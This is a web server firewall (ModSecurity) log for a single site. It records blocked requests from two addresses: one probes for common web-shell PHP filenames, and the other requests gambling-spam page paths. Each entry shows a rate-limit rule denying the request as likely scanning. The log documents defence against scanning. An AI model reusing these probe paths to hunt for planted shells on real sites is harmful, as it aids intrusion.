[Fri May 15 14:07:36.300960 2026] [:error] [pid 9307:tid 9384] [client 191.237.254.232:16415] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aga4KCC43jY1IRzK5VY5ZAAAANM"]
[Fri May 15 14:07:42.880951 2026] [:error] [pid 30272:tid 30278] [client 191.237.254.232:6128] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aga4Lnvc_jSFaQ_7_weVMQAAAYQ"]
[Fri May 15 14:07:48.137960 2026] [:error] [pid 30272:tid 30290] [client 191.237.254.232:24967] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aga4NHvc_jSFaQ_7_weVNwAAAZA"]
[Fri May 15 14:07:49.892158 2026] [:error] [pid 9392:tid 9417] [client 191.237.254.232:10241] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aga4NdBWJIjH1U9zGfaXFQAAARc"]
[Fri May 15 14:08:14.957951 2026] [:error] [pid 30272:tid 30274] [client 191.237.254.232:9784] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aga4Tnvc_jSFaQ_7_weVXAAAAYA"]
[Fri May 15 14:08:16.339136 2026] [:error] [pid 9307:tid 9383] [client 191.237.254.232:9775] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aga4UCC43jY1IRzK5VY5cAAAANI"]
[Fri May 15 14:08:40.196010 2026] [:error] [pid 30240:tid 30256] [client 191.237.254.232:17523] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aga4aK8ckHvaA6bpews4uAAAAU4"]
[Fri May 15 14:08:41.447966 2026] [:error] [pid 9392:tid 9410] [client 191.237.254.232:27967] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aga4adBWJIjH1U9zGfaXJgAAARA"]
[Fri May 15 14:08:42.697569 2026] [:error] [pid 30272:tid 30298] [client 191.237.254.232:21250] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aga4anvc_jSFaQ_7_weVoAAAAZg"]
[Fri May 15 14:08:44.471198 2026] [:error] [pid 9304:tid 9331] [client 191.237.254.232:5852] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aga4bNzcINh7UFIbVoGDgwAAABU"]
[Fri May 15 14:08:46.203490 2026] [:error] [pid 9392:tid 9409] [client 191.237.254.232:8467] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aga4btBWJIjH1U9zGfaXKwAAAQ8"]
[Fri May 15 14:08:55.868042 2026] [:error] [pid 30272:tid 30284] [client 191.237.254.232:8470] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aga4d3vc_jSFaQ_7_weVqwAAAYo"]
[Fri May 15 14:09:07.810029 2026] [:error] [pid 30272:tid 30286] [client 191.237.254.232:6365] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aga4g3vc_jSFaQ_7_weV2gAAAYw"]
[Fri May 15 14:09:09.041117 2026] [:error] [pid 30272:tid 30282] [client 191.237.254.232:22806] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aga4hXvc_jSFaQ_7_weV3gAAAYg"]
[Fri May 15 14:09:16.875035 2026] [:error] [pid 30272:tid 30283] [client 191.237.254.232:9036] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aga4jHvc_jSFaQ_7_weV_AAAAYk"]
[Fri May 15 14:09:28.914292 2026] [:error] [pid 9304:tid 9325] [client 191.237.254.232:18038] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aga4mNzcINh7UFIbVoGDpwAAAA8"]
[Fri May 15 14:09:31.512732 2026] [:error] [pid 30240:tid 30256] [client 191.237.254.232:17996] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aga4m68ckHvaA6bpews44gAAAU4"]
[Fri May 15 14:09:33.229991 2026] [:error] [pid 30272:tid 30295] [client 191.237.254.232:18503] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aga4nXvc_jSFaQ_7_weWEAAAAZU"]
[Fri May 15 14:09:37.361421 2026] [:error] [pid 30272:tid 30297] [client 191.237.254.232:20935] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aga4oXvc_jSFaQ_7_weWHAAAAZc"]
[Fri May 15 15:50:26.122799 2026] [:error] [pid 9392:tid 9414] [client 94.154.239.69:34302] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agbQQtBWJIjH1U9zGfauLQAAARQ"]
[Fri May 15 15:50:28.801054 2026] [:error] [pid 30272:tid 30290] [client 94.154.239.69:42374] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agbQRHvc_jSFaQ_7_wezkQAAAZA"]
[Fri May 15 15:50:31.274525 2026] [:error] [pid 30272:tid 30284] [client 94.154.239.69:41874] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agbQR3vc_jSFaQ_7_wezmwAAAYo"]
[Fri May 15 15:50:33.847707 2026] [:error] [pid 30272:tid 30288] [client 94.154.239.69:41884] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agbQSXvc_jSFaQ_7_wezsgAAAY4"]
[Fri May 15 15:50:36.368490 2026] [:error] [pid 9307:tid 9371] [client 94.154.239.69:41892] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agbQTCC43jY1IRzK5VZGGgAAAMY"]
[Fri May 15 15:50:38.860909 2026] [:error] [pid 30240:tid 30259] [client 94.154.239.69:41898] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agbQTq8ckHvaA6bpewtJDAAAAVE"]
[Fri May 15 15:50:41.301693 2026] [:error] [pid 9392:tid 9413] [client 94.154.239.69:56192] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agbQUdBWJIjH1U9zGfauPgAAARM"]
[Fri May 15 15:50:43.819948 2026] [:error] [pid 30272:tid 30277] [client 94.154.239.69:56194] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agbQU3vc_jSFaQ_7_wezwAAAAYM"]
[Fri May 15 15:50:46.409088 2026] [:error] [pid 9307:tid 9377] [client 94.154.239.69:56210] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agbQViC43jY1IRzK5VZGHwAAAMw"]
[Fri May 15 15:50:48.826546 2026] [:error] [pid 30272:tid 30293] [client 94.154.239.69:56222] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agbQWHvc_jSFaQ_7_wezyAAAAZM"]
[Fri May 15 15:50:51.230498 2026] [:error] [pid 30272:tid 30289] [client 94.154.239.69:56236] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agbQW3vc_jSFaQ_7_wezzAAAAY8"]
[Fri May 15 15:50:53.640917 2026] [:error] [pid 9392:tid 9399] [client 94.154.239.69:46576] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agbQXdBWJIjH1U9zGfauRgAAAQU"]
[Fri May 15 15:50:56.351318 2026] [:error] [pid 30272:tid 30283] [client 94.154.239.69:46592] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agbQYHvc_jSFaQ_7_wez0QAAAYk"]
[Fri May 15 15:50:58.732110 2026] [:error] [pid 9305:tid 9344] [client 94.154.239.69:46600] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agbQYt5FZyBmdCM8GsF-ngAAAEY"]
[Fri May 15 15:51:01.144361 2026] [:error] [pid 9305:tid 9350] [client 94.154.239.69:46610] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agbQZd5FZyBmdCM8GsF-oQAAAEw"]
[Fri May 15 15:51:03.596844 2026] [:error] [pid 9392:tid 9414] [client 94.154.239.69:51416] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agbQZ9BWJIjH1U9zGfauTAAAARQ"]
[Fri May 15 15:51:06.049160 2026] [:error] [pid 9392:tid 9397] [client 94.154.239.69:51428] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agbQatBWJIjH1U9zGfauTQAAAQM"]
[Fri May 15 15:51:08.671326 2026] [:error] [pid 30272:tid 30288] [client 94.154.239.69:51436] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agbQbHvc_jSFaQ_7_wez4wAAAY4"]
[Fri May 15 15:51:11.099598 2026] [:error] [pid 30208:tid 30221] [client 94.154.239.69:51444] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agbQb5mLMCJujX-JTvgeBQAAAIs"]
[Fri May 15 15:51:13.774435 2026] [:error] [pid 9307:tid 9384] [client 94.154.239.69:52150] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agbQcSC43jY1IRzK5VZGKAAAANM"]
[Fri May 15 15:51:16.155786 2026] [:error] [pid 9305:tid 9343] [client 94.154.239.69:52158] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agbQdN5FZyBmdCM8GsF-qQAAAEU"]
[Fri May 15 15:51:18.688049 2026] [:error] [pid 30272:tid 30284] [client 94.154.239.69:52168] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agbQdnvc_jSFaQ_7_wez6wAAAYo"]
[Fri May 15 15:51:21.187343 2026] [:error] [pid 9307:tid 9387] [client 94.154.239.69:52176] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "agbQeSC43jY1IRzK5VZGKgAAANY"]
[Fri May 15 15:51:54.927481 2026] [:error] [pid 9392:tid 9416] [client 94.154.239.69:50376] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agbQmtBWJIjH1U9zGfaudAAAARY"]
[Fri May 15 15:51:57.445233 2026] [:error] [pid 30240:tid 30245] [client 94.154.239.69:47266] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agbQna8ckHvaA6bpewtJNAAAAUM"]
[Fri May 15 15:52:00.076988 2026] [:error] [pid 9307:tid 9370] [client 94.154.239.69:47278] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agbQoCC43jY1IRzK5VZGNgAAAMU"]
[Fri May 15 15:52:02.587528 2026] [:error] [pid 9304:tid 9331] [client 94.154.239.69:36676] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agbQotzcINh7UFIbVoGL6gAAABU"]
[Fri May 15 15:52:05.094164 2026] [:error] [pid 9392:tid 9403] [client 94.154.239.69:36692] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agbQpdBWJIjH1U9zGfauegAAAQk"]
[Fri May 15 15:52:07.573830 2026] [:error] [pid 9392:tid 9399] [client 94.154.239.69:36694] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agbQp9BWJIjH1U9zGfauggAAAQU"]
[Fri May 15 15:52:10.181640 2026] [:error] [pid 9392:tid 9395] [client 94.154.239.69:36710] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agbQqtBWJIjH1U9zGfauhgAAAQE"]
[Fri May 15 15:52:12.688514 2026] [:error] [pid 9392:tid 9409] [client 94.154.239.69:34804] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agbQrNBWJIjH1U9zGfauiwAAAQ8"]
[Fri May 15 15:52:15.273247 2026] [:error] [pid 9392:tid 9396] [client 94.154.239.69:34816] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agbQr9BWJIjH1U9zGfaukgAAAQI"]
[Fri May 15 15:52:17.895886 2026] [:error] [pid 30208:tid 30212] [client 94.154.239.69:34828] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agbQsZmLMCJujX-JTvgeEwAAAII"]
[Fri May 15 15:52:20.502828 2026] [:error] [pid 30272:tid 30286] [client 94.154.239.69:34840] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agbQtHvc_jSFaQ_7_we0BAAAAYw"]
[Fri May 15 15:52:23.125791 2026] [:error] [pid 30208:tid 30232] [client 94.154.239.69:38148] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agbQt5mLMCJujX-JTvgeFQAAAJY"]
[Fri May 15 15:52:25.736499 2026] [:error] [pid 30208:tid 30229] [client 94.154.239.69:38150] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agbQuZmLMCJujX-JTvgeFwAAAJM"]
[Fri May 15 15:52:28.319840 2026] [:error] [pid 30208:tid 30219] [client 94.154.239.69:38164] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agbQvJmLMCJujX-JTvgeGQAAAIk"]
